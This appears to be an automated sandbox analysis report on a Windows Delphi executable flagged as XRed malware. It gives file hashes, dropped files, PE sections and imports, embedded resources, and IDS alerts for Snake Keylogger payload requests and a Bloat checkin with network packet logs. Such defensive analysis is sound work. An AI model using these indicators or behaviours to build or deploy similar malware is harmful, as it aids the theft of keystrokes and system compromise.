SHA-512:	A12F56FF30EA35381C2B8F8AF2446CF1DAA21EE872E98CAD4B863DB060ACD4C33C5760918C277DADB7A490CB4CA2F925D59C70DC5171E16601A11BC4A6542B04
Malicious:	false
Preview:	PK..........!...5Qr...?.......[Content_Types].xml ...(......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................N.0.E.H.C.-..@.5.....(..8...-.[.g.......M^..s.5.4.I..P;..!....r....}._.G.`....Y....M.7....&.m1cU..I.T.....`.t...^.Bx..r..~0x....6...`....reb2m.s.$.%...-c.{...dT.m.kL]Yj.\|..Yp..".G.......r...).#b.=.QN'...i..w.s..$3..)).....2wn..ls.F..X.D^K.......Cj.sx..E..n._ ....pjUS.9.....j..L...>".....w.... ....l{.sd...G.....wC.F... D..1<..=...z.As.]...#l..........PK..........!..U0#....L......._rels/.rels ...(...............

C:\Users\user\Documents\AFWAAFRXKO\~$NHPKIZUUSG.xlsx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	165
Entropy (8bit):	1.3520167401771568
Encrypted:	false
SSDEEP:	3:qs/FFyGff:qsyWf
MD5:	5C22367453CA7CD5BD7CA96C4FD55742
SHA1:	FC7428D064740B4E331D57098AF028AA26FBC1AE
SHA-256:	F5D3D989BFAC7CF7187B3665F8CB75AF84FD749DBE245E454E2F9F1AC562E543
SHA-512:	BE2C202040245F25CB24C7F7B44A69F0000A95984236C3AE671443C56A7E1AE05BD7ACED71979ADF1159490770A767D25F581E76540C9C653441558BAECC0C89
Malicious:	false
Preview:	.user ..t.i.n.a. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C:\Users\user\Documents\AFWAAFRXKO\~$cache1

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	771584
Entropy (8bit):	6.6264053582391735
Encrypted:	false
SSDEEP:	12288:aMSApJVYG5lDLyjsb0eOzkv4R7QnvUUilQ35+6G75V9IIr:ansJ39LyjbJkQFMhmC+6GD9j
MD5:	7407C51DD7AC30C4D79658D991A8B5D6
SHA1:	B48603F6A1DFFAB2FF458780025F6A3C2E523C3C
SHA-256:	1316730BBC50851C02F53254F9C57B99AF50A07BB0776332D1480BABD626F39A
SHA-512:	38334452808E5D203B287E2F4A47B8F5BBCE1ED18FABCFA4A61B8C04429150DFBFFE2241323B3C87D90ABBABBED49A5CEA584CC1CE83BF519BB728E1D6AC18EB
Malicious:	true
Yara Hits:	Rule: JoeSecurity_XRed, Description: Yara detected XRed, Source: C:\Users\user\Documents\AFWAAFRXKO\~$cache1, Author: Joe Security Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: C:\Users\user\Documents\AFWAAFRXKO\~$cache1, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 94%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.....................&....................@.......................... ...................@..............................B...........................P...............@..!............@......................................................CODE............................... ..`DATA....T........0..................@...BSS......................................idata..B*.......,..................@....tls.........0...........................rdata..9....@......................@..P.reloc.......P......................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.394144984665256
Encrypted:	false
SSDEEP:	6144:sl4fiJoH0ncNXiUjt10q0G/gaocYGBoaUMMhA2NX4WABlBuNASOBSqa:k4vF0MYQUMM6VFYSSU
MD5:	A154257AD4D6BEA3C547A023E1A98923
SHA1:	8A07A8AC5132E84BC190F5CE5BDD897E74D7F4D2
SHA-256:	A256FCEAFB82CC46994491866894D85545FC0EF1B3AA67EBA9123820057CE6F3
SHA-512:	3DB5E34E084B9072D51B8C89ABCBDF794E3ACFC53F6369990B37E8F0F31D34527CC8784949E6435B227BFBF8EDFB8BF3AAC1A53AA1337D71978F5868F31BEC2B
Malicious:	false
Preview:	regfG...G....\.Z.................... ....`......\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtmRU..L]..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\wordpad.INI

Download File

Process:	C:\Program Files (x86)\Windows NT\Accessories\wordpad.exe
File Type:	Microsoft HTML Help Project
Category:	dropped
Size (bytes):	193
Entropy (8bit):	4.113030939932765
Encrypted:	false
SSDEEP:	3:1W4M4lqHj4yQltkkkkkkkkkkkkkkkkkkkkkkkkkov1ECN+CDktjkkkkkkkkkkkkI:U4lqHj4ZOCN+CDkbpKVyYWyn
MD5:	72F2D357120F95C1E725C22915FE95E1
SHA1:	2DC88926E0F7D12F4EEBCE672A865E1D43237DA1
SHA-256:	AA99B989A67FCD5A7503102752C8B2ED339EC3011D437FCFBEDB1C53EE7D639F
SHA-512:	534FC6DD52C3ACE8576F8A74E2211836AB15EF5B22323C370406D6B9A85AB528601DF797E4105F6924224F172048772A56C4D376ADB58C8035F6151629FAE89B
Malicious:	false
Preview:	[Options]..Wrap=0..ShowStatusBar=0..ShowRuler=0..Units=0..Maximized=0..FrameRect=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA..PageMargin=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA..PrintPageNum=0..DefaultFormat=5..

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.9488402694147355
TrID:	Win32 Executable (generic) a (10002005/4) 93.21% Win32 Executable Borland Delphi 7 (665061/41) 6.20% InstallShield setup (43055/19) 0.40% Win32 Executable Delphi generic (14689/80) 0.14% Win16/32 Executable Delphi generic (2074/23) 0.02%
File name:	file.exe
File size:	6'490'624 bytes
MD5:	e819c37952e89ff0f473fa9b59cd771d
SHA1:	de2a344ed3a2b1f4e0fbd4e684170db56903763e
SHA256:	05f954e37982086a48a222726b8134fbef0caa78dbe1b66a3d4479b712d12012
SHA512:	1e3eff7391308a5161b75ab47ef29178a53ce08693c63fd08f5f1443ceeed87c3b4d3779265d669a91af0192eb556913bcbf77b825678580e44fceeb3c76d148
SSDEEP:	196608:jLb7wqheSVYK/bua/BlWWnuVhsus8nm+q42:j/8qgSmIbr/Asb8nmFD
TLSH:	7B662322F2C29137D1736A3C9C6B92A9982ABE512E38794B3BF51D4C5F3D7412C642D3
File Content Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7.......................................................................................................................................

File Icon


Icon Hash:	878fd7f3b9353593

Static PE Info

General

Entrypoint:	0x49ab80
Entrypoint Section:	CODE
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI
DLL Characteristics:
Time Stamp:	0x2A425E19 [Fri Jun 19 22:22:17 1992 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	332f7ce65ead0adfb3d35147033aabe9

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
add esp, FFFFFFF0h
mov eax, 0049A778h
call 00007F623920F66Dh
mov eax, dword ptr [0049DBCCh]
mov eax, dword ptr [eax]
call 00007F6239262FB5h
mov eax, dword ptr [0049DBCCh]
mov eax, dword ptr [eax]
mov edx, 0049ABE0h
call 00007F6239262BB4h
mov ecx, dword ptr [0049DBDCh]
mov eax, dword ptr [0049DBCCh]
mov eax, dword ptr [eax]
mov edx, dword ptr [00496590h]
call 00007F6239262FA4h
mov eax, dword ptr [0049DBCCh]
mov eax, dword ptr [eax]
call 00007F6239263018h
call 00007F623920D14Bh
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xa0000	0x2a42	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xb0000	0x586088	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xa5000	0xa980	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0xa4018	0x21	.rdata
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0xa4000	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
CODE	0x1000	0x99bec	0x99c00	33fbe30e8a64654287edd1bf05ae7c8c	False	0.5141641260162602	data	6.572957870355296	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
DATA	0x9b000	0x2e54	0x3000	1f5e19e7d20c1d128443d738ac7bc610	False	0.453125	data	4.854620797809023	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
BSS	0x9e000	0x11e5	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0xa0000	0x2a42	0x2c00	21ff53180b390dc06e3a1adf0e57a073	False	0.3537819602272727	data	4.919333216027082	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.tls	0xa3000	0x10	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rdata	0xa4000	0x39	0x200	a92cf494c617731a527994013429ad97	False	0.119140625	MacBinary, Mon Feb 6 07:28:16 2040 INVALID date, modified Mon Feb 6 07:28:16 2040 "J"	0.7846201577093705	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_SHARED, IMAGE_SCN_MEM_READ
.reloc	0xa5000	0xa980	0xaa00	dcd1b1c3f3d28d444920211170d1e8e6	False	0.5899816176470588	data	6.674124985579511	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_SHARED, IMAGE_SCN_MEM_READ
.rsrc	0xb0000	0x586088	0x586200	633bb7b0bcb200e87057c548cdcb5b10	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_SHARED, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_CURSOR	0xb0dc8	0x134	Targa image data - Map 64 x 65536 x 1 +32 "\001"			0.38636363636363635
RT_CURSOR	0xb0efc	0x134	data			0.4642857142857143
RT_CURSOR	0xb1030	0x134	data			0.4805194805194805
RT_CURSOR	0xb1164	0x134	data			0.38311688311688313
RT_CURSOR	0xb1298	0x134	data			0.36038961038961037
RT_CURSOR	0xb13cc	0x134	data			0.4090909090909091
RT_CURSOR	0xb1500	0x134	Targa image data - RGB 64 x 65536 x 1 +32 "\001"			0.4967532467532468
RT_BITMAP	0xb1634	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360			0.43103448275862066
RT_BITMAP	0xb1804	0x1e4	Device independent bitmap graphic, 36 x 19 x 4, image size 380			0.46487603305785125
RT_BITMAP	0xb19e8	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360			0.43103448275862066
RT_BITMAP	0xb1bb8	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360			0.39870689655172414
RT_BITMAP	0xb1d88	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360			0.4245689655172414
RT_BITMAP	0xb1f58	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360			0.5021551724137931
RT_BITMAP	0xb2128	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360			0.5064655172413793
RT_BITMAP	0xb22f8	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360			0.39655172413793105
RT_BITMAP	0xb24c8	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360			0.5344827586206896
RT_BITMAP	0xb2698	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360			0.39655172413793105
RT_BITMAP	0xb2868	0xe8	Device independent bitmap graphic, 16 x 16 x 4, image size 128			0.4870689655172414
RT_ICON	0xb2950	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096			0.07223264540337711
RT_ICON	0xb39f8	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 8192	Turkish	Turkey	0.2101313320825516
RT_DIALOG	0xb4aa0	0x52	data			0.7682926829268293
RT_STRING	0xb4af4	0x358	data			0.3796728971962617
RT_STRING	0xb4e4c	0x428	data			0.37406015037593987
RT_STRING	0xb5274	0x3a4	data			0.40879828326180256
RT_STRING	0xb5618	0x3bc	data			0.33472803347280333
RT_STRING	0xb59d4	0x2d4	data			0.4654696132596685
RT_STRING	0xb5ca8	0x334	data			0.42804878048780487
RT_STRING	0xb5fdc	0x42c	data			0.42602996254681647
RT_STRING	0xb6408	0x1f0	data			0.4213709677419355
RT_STRING	0xb65f8	0x1c0	data			0.44419642857142855
RT_STRING	0xb67b8	0xdc	data			0.6
RT_STRING	0xb6894	0x320	data			0.45125
RT_STRING	0xb6bb4	0xd8	data			0.5879629629629629
RT_STRING	0xb6c8c	0x118	data			0.5678571428571428
RT_STRING	0xb6da4	0x268	data			0.4707792207792208
RT_STRING	0xb700c	0x3f8	data			0.37598425196850394
RT_STRING	0xb7404	0x378	data			0.41103603603603606
RT_STRING	0xb777c	0x380	data			0.35379464285714285
RT_STRING	0xb7afc	0x374	data			0.4061085972850679
RT_STRING	0xb7e70	0xe0	data			0.5535714285714286
RT_STRING	0xb7f50	0xbc	data			0.526595744680851
RT_STRING	0xb800c	0x368	data			0.40940366972477066
RT_STRING	0xb8374	0x3fc	data			0.34901960784313724
RT_STRING	0xb8770	0x2fc	data			0.36649214659685864
RT_STRING	0xb8a6c	0x354	data			0.31572769953051644
RT_RCDATA	0xb8dc0	0x44	data			0.8676470588235294
RT_RCDATA	0xb8e04	0x10	data			1.5
RT_RCDATA	0xb8e14	0x574358	PE32 executable (GUI) Intel 80386, for MS Windows			0.9792976379394531
RT_RCDATA	0x62d16c	0x3	ASCII text, with no line terminators	Turkish	Turkey	3.6666666666666665
RT_RCDATA	0x62d170	0x3c00	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows	Turkish	Turkey	0.54296875
RT_RCDATA	0x630d70	0x64c	data			0.5998759305210918
RT_RCDATA	0x6313bc	0x153	Delphi compiled form 'TFormVir'			0.7522123893805309
RT_RCDATA	0x631510	0x47d3	Microsoft Excel 2007+	Turkish	Turkey	0.8675150921846957
RT_GROUP_CURSOR	0x635ce4	0x14	Lotus unknown worksheet or configuration, revision 0x1			1.25
RT_GROUP_CURSOR	0x635cf8	0x14	Lotus unknown worksheet or configuration, revision 0x1			1.25
RT_GROUP_CURSOR	0x635d0c	0x14	Lotus unknown worksheet or configuration, revision 0x1			1.3
RT_GROUP_CURSOR	0x635d20	0x14	Lotus unknown worksheet or configuration, revision 0x1			1.3
RT_GROUP_CURSOR	0x635d34	0x14	Lotus unknown worksheet or configuration, revision 0x1			1.3
RT_GROUP_CURSOR	0x635d48	0x14	Lotus unknown worksheet or configuration, revision 0x1			1.3
RT_GROUP_CURSOR	0x635d5c	0x14	Lotus unknown worksheet or configuration, revision 0x1			1.3
RT_GROUP_ICON	0x635d70	0x14	data	Turkish	Turkey	1.1
RT_VERSION	0x635d84	0x304	data	Turkish	Turkey	0.42875647668393785

Imports

DLL	Import
kernel32.dll	DeleteCriticalSection, LeaveCriticalSection, EnterCriticalSection, InitializeCriticalSection, VirtualFree, VirtualAlloc, LocalFree, LocalAlloc, GetTickCount, QueryPerformanceCounter, GetVersion, GetCurrentThreadId, InterlockedDecrement, InterlockedIncrement, VirtualQuery, WideCharToMultiByte, SetCurrentDirectoryA, MultiByteToWideChar, lstrlenA, lstrcpynA, LoadLibraryExA, GetThreadLocale, GetStartupInfoA, GetProcAddress, GetModuleHandleA, GetModuleFileNameA, GetLocaleInfoA, GetLastError, GetCurrentDirectoryA, GetCommandLineA, FreeLibrary, FindFirstFileA, FindClose, ExitProcess, ExitThread, CreateThread, WriteFile, UnhandledExceptionFilter, SetFilePointer, SetEndOfFile, RtlUnwind, ReadFile, RaiseException, GetStdHandle, GetFileSize, GetFileType, CreateFileA, CloseHandle
user32.dll	GetKeyboardType, LoadStringA, MessageBoxA, CharNextA
advapi32.dll	RegQueryValueExA, RegOpenKeyExA, RegCloseKey
oleaut32.dll	SysFreeString, SysReAllocStringLen, SysAllocStringLen
kernel32.dll	TlsSetValue, TlsGetValue, LocalAlloc, GetModuleHandleA
advapi32.dll	RegSetValueExA, RegQueryValueExA, RegOpenKeyExA, RegNotifyChangeKeyValue, RegFlushKey, RegDeleteValueA, RegCreateKeyExA, RegCloseKey, OpenProcessToken, LookupPrivilegeValueA, GetUserNameA, AdjustTokenPrivileges
kernel32.dll	lstrcpyA, WritePrivateProfileStringA, WriteFile, WaitForSingleObject, WaitForMultipleObjects, VirtualQuery, VirtualAlloc, UpdateResourceA, UnmapViewOfFile, TerminateProcess, Sleep, SizeofResource, SetThreadLocale, SetFilePointer, SetFileAttributesA, SetEvent, SetErrorMode, SetEndOfFile, ResumeThread, ResetEvent, RemoveDirectoryA, ReadFile, OpenProcess, OpenMutexA, MultiByteToWideChar, MulDiv, MoveFileA, MapViewOfFile, LockResource, LoadResource, LoadLibraryA, LeaveCriticalSection, InitializeCriticalSection, GlobalUnlock, GlobalReAlloc, GlobalHandle, GlobalLock, GlobalFree, GlobalFindAtomA, GlobalDeleteAtom, GlobalAlloc, GlobalAddAtomA, GetVersionExA, GetVersion, GetTimeZoneInformation, GetTickCount, GetThreadLocale, GetTempPathA, GetTempFileNameA, GetSystemInfo, GetSystemDirectoryA, GetStringTypeExA, GetStdHandle, GetProcAddress, GetPrivateProfileStringA, GetModuleHandleA, GetModuleFileNameA, GetLogicalDrives, GetLocaleInfoA, GetLocalTime, GetLastError, GetFullPathNameA, GetFileSize, GetFileAttributesA, GetExitCodeThread, GetDriveTypeA, GetDiskFreeSpaceA, GetDateFormatA, GetCurrentThreadId, GetCurrentProcessId, GetCurrentProcess, GetComputerNameA, GetCPInfo, GetACP, FreeResource, InterlockedIncrement, InterlockedExchange, InterlockedDecrement, FreeLibrary, FormatMessageA, FindResourceA, FindNextFileA, FindFirstFileA, FindClose, FileTimeToLocalFileTime, FileTimeToDosDateTime, EnumCalendarInfoA, EnterCriticalSection, EndUpdateResourceA, DeleteFileA, DeleteCriticalSection, CreateThread, CreateProcessA, CreatePipe, CreateMutexA, CreateFileMappingA, CreateFileA, CreateEventA, CreateDirectoryA, CopyFileA, CompareStringA, CloseHandle, BeginUpdateResourceA
version.dll	VerQueryValueA, GetFileVersionInfoSizeA, GetFileVersionInfoA
gdi32.dll	UnrealizeObject, StretchBlt, SetWindowOrgEx, SetWinMetaFileBits, SetViewportOrgEx, SetTextColor, SetStretchBltMode, SetROP2, SetPixel, SetEnhMetaFileBits, SetDIBColorTable, SetBrushOrgEx, SetBkMode, SetBkColor, SelectPalette, SelectObject, SaveDC, RestoreDC, RectVisible, RealizePalette, PlayEnhMetaFile, PatBlt, MoveToEx, MaskBlt, LineTo, IntersectClipRect, GetWindowOrgEx, GetWinMetaFileBits, GetTextMetricsA, GetTextExtentPoint32A, GetSystemPaletteEntries, GetStockObject, GetPixel, GetPaletteEntries, GetObjectA, GetEnhMetaFilePaletteEntries, GetEnhMetaFileHeader, GetEnhMetaFileBits, GetDeviceCaps, GetDIBits, GetDIBColorTable, GetDCOrgEx, GetCurrentPositionEx, GetClipBox, GetBrushOrgEx, GetBitmapBits, GdiFlush, ExcludeClipRect, DeleteObject, DeleteEnhMetaFile, DeleteDC, CreateSolidBrush, CreatePenIndirect, CreatePalette, CreateHalftonePalette, CreateFontIndirectA, CreateDIBitmap, CreateDIBSection, CreateCompatibleDC, CreateCompatibleBitmap, CreateBrushIndirect, CreateBitmap, CopyEnhMetaFileA, BitBlt
user32.dll	CreateWindowExA, WindowFromPoint, WinHelpA, WaitMessage, UpdateWindow, UnregisterClassA, UnhookWindowsHookEx, TranslateMessage, TranslateMDISysAccel, TrackPopupMenu, ToAsciiEx, SystemParametersInfoA, ShowWindow, ShowScrollBar, ShowOwnedPopups, ShowCursor, SetWindowsHookExA, SetWindowTextA, SetWindowPos, SetWindowPlacement, SetWindowLongA, SetTimer, SetScrollRange, SetScrollPos, SetScrollInfo, SetRect, SetPropA, SetParent, SetMenuItemInfoA, SetMenu, SetForegroundWindow, SetFocus, SetCursor, SetClassLongA, SetCapture, SetActiveWindow, SendMessageA, ScrollWindow, ScreenToClient, RemovePropA, RemoveMenu, ReleaseDC, ReleaseCapture, RegisterWindowMessageA, RegisterClipboardFormatA, RegisterClassA, RedrawWindow, PtInRect, PostQuitMessage, PostMessageA, PeekMessageA, OffsetRect, OemToCharA, MsgWaitForMultipleObjects, MessageBoxA, MapWindowPoints, MapVirtualKeyExA, MapVirtualKeyA, LoadStringA, LoadKeyboardLayoutA, LoadIconA, LoadCursorA, LoadBitmapA, KillTimer, IsZoomed, IsWindowVisible, IsWindowEnabled, IsWindow, IsRectEmpty, IsIconic, IsDialogMessageA, IsChild, InvalidateRect, IntersectRect, InsertMenuItemA, InsertMenuA, InflateRect, GetWindowThreadProcessId, GetWindowTextLengthA, GetWindowTextA, GetWindowRect, GetWindowPlacement, GetWindowLongA, GetWindowDC, GetTopWindow, GetSystemMetrics, GetSystemMenu, GetSysColorBrush, GetSysColor, GetSubMenu, GetScrollRange, GetScrollPos, GetScrollInfo, GetPropA, GetParent, GetWindow, GetMenuStringA, GetMenuState, GetMenuItemInfoA, GetMenuItemID, GetMenuItemCount, GetMenu, GetLastActivePopup, GetKeyboardState, GetKeyboardLayoutList, GetKeyboardLayout, GetKeyState, GetKeyNameTextA, GetIconInfo, GetForegroundWindow, GetFocus, GetDesktopWindow, GetDCEx, GetDC, GetCursorPos, GetCursor, GetClipboardData, GetClientRect, GetClassNameA, GetClassInfoA, GetCapture, GetActiveWindow, FrameRect, FindWindowA, FillRect, EqualRect, EnumWindows, EnumThreadWindows, EndPaint, EnableWindow, EnableScrollBar, EnableMenuItem, DrawTextA, DrawMenuBar, DrawIconEx, DrawIcon, DrawFrameControl, DrawEdge, DispatchMessageA, DestroyWindow, DestroyMenu, DestroyIcon, DestroyCursor, DeleteMenu, DefWindowProcA, DefMDIChildProcA, DefFrameProcA, CreatePopupMenu, CreateMenu, CreateIcon, ClientToScreen, CheckMenuItem, CallWindowProcA, CallNextHookEx, BeginPaint, CharNextA, CharLowerBuffA, CharLowerA, CharUpperBuffA, CharToOemA, AdjustWindowRectEx, ActivateKeyboardLayout
ole32.dll	CLSIDFromString
kernel32.dll	Sleep
oleaut32.dll	SafeArrayPtrOfIndex, SafeArrayGetUBound, SafeArrayGetLBound, SafeArrayCreate, VariantChangeType, VariantCopyInd, VariantCopy, VariantClear, VariantInit
ole32.dll	CLSIDFromProgID, CoCreateInstance, CoUninitialize, CoInitialize
oleaut32.dll	GetErrorInfo, SysFreeString
comctl32.dll	ImageList_SetIconSize, ImageList_GetIconSize, ImageList_Write, ImageList_Read, ImageList_GetDragImage, ImageList_DragShowNolock, ImageList_SetDragCursorImage, ImageList_DragMove, ImageList_DragLeave, ImageList_DragEnter, ImageList_EndDrag, ImageList_BeginDrag, ImageList_Remove, ImageList_DrawEx, ImageList_Draw, ImageList_GetBkColor, ImageList_SetBkColor, ImageList_ReplaceIcon, ImageList_Add, ImageList_GetImageCount, ImageList_Destroy, ImageList_Create
shell32.dll	ShellExecuteExA, ExtractIconExW
wininet.dll	InternetGetConnectedState, InternetReadFile, InternetOpenUrlA, InternetOpenA, InternetCloseHandle
shell32.dll	SHGetSpecialFolderLocation, SHGetPathFromIDListA, SHGetMalloc, SHGetDesktopFolder
advapi32.dll	OpenSCManagerA, CloseServiceHandle
wsock32.dll	WSACleanup, WSAStartup, gethostname, gethostbyname, inet_ntoa
netapi32.dll	Netbios

Possible Origin

Language of compilation system	Country where language is spoken	Map
Turkish	Turkey

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-02T20:29:37.136706+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.9	49788	172.217.18.14	443	TCP
2025-01-02T20:29:37.224164+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.9	49789	172.217.18.14	443	TCP
2025-01-02T20:29:37.480368+0100	2832617	ETPRO MALWARE W32.Bloat-A Checkin	1	192.168.2.9	49797	69.42.215.252	80	TCP
2025-01-02T20:29:38.412011+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.9	49802	172.217.18.14	443	TCP
2025-01-02T20:29:38.423454+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.9	49804	172.217.18.14	443	TCP
2025-01-02T20:29:39.478865+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.9	49814	172.217.18.14	443	TCP
2025-01-02T20:29:39.492141+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.9	49813	172.217.18.14	443	TCP
2025-01-02T20:29:40.531218+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.9	49825	172.217.18.14	443	TCP
2025-01-02T20:29:40.532057+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.9	49824	172.217.18.14	443	TCP
2025-01-02T20:29:41.980642+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.9	49844	172.217.18.14	443	TCP
2025-01-02T20:29:42.044430+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.9	49842	172.217.18.14	443	TCP
2025-01-02T20:29:43.063109+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.9	49855	172.217.18.14	443	TCP
2025-01-02T20:29:43.113496+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.9	49856	172.217.18.14	443	TCP
2025-01-02T20:29:44.264089+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.9	49865	172.217.18.14	443	TCP
2025-01-02T20:29:44.267953+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.9	49868	172.217.18.14	443	TCP
2025-01-02T20:29:45.869946+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.9	49890	172.217.18.14	443	TCP
2025-01-02T20:29:45.891107+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.9	49891	172.217.18.14	443	TCP
2025-01-02T20:29:47.000058+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.9	49902	172.217.18.14	443	TCP
2025-01-02T20:29:47.054328+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.9	49901	172.217.18.14	443	TCP
2025-01-02T20:29:48.053490+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.9	49910	172.217.18.14	443	TCP
2025-01-02T20:29:48.136029+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.9	49912	172.217.18.14	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 2, 2025 20:29:36.041311979 CET	49788	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:36.041347980 CET	443	49788	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:36.041412115 CET	49788	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:36.041822910 CET	49789	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:36.041866064 CET	443	49789	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:36.041970968 CET	49789	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:36.062459946 CET	49788	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:36.062479019 CET	443	49788	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:36.062500000 CET	49789	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:36.062535048 CET	443	49789	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:36.749481916 CET	443	49788	172.217.18.14	192.168.2.9
Jan 2, 2025 20:29:36.749561071 CET	49788	443	192.168.2.9	172.217.18.14
Jan 2, 2025 20:29:36.750289917 CET	443	49788	172.217.18.14	192.168.2.9
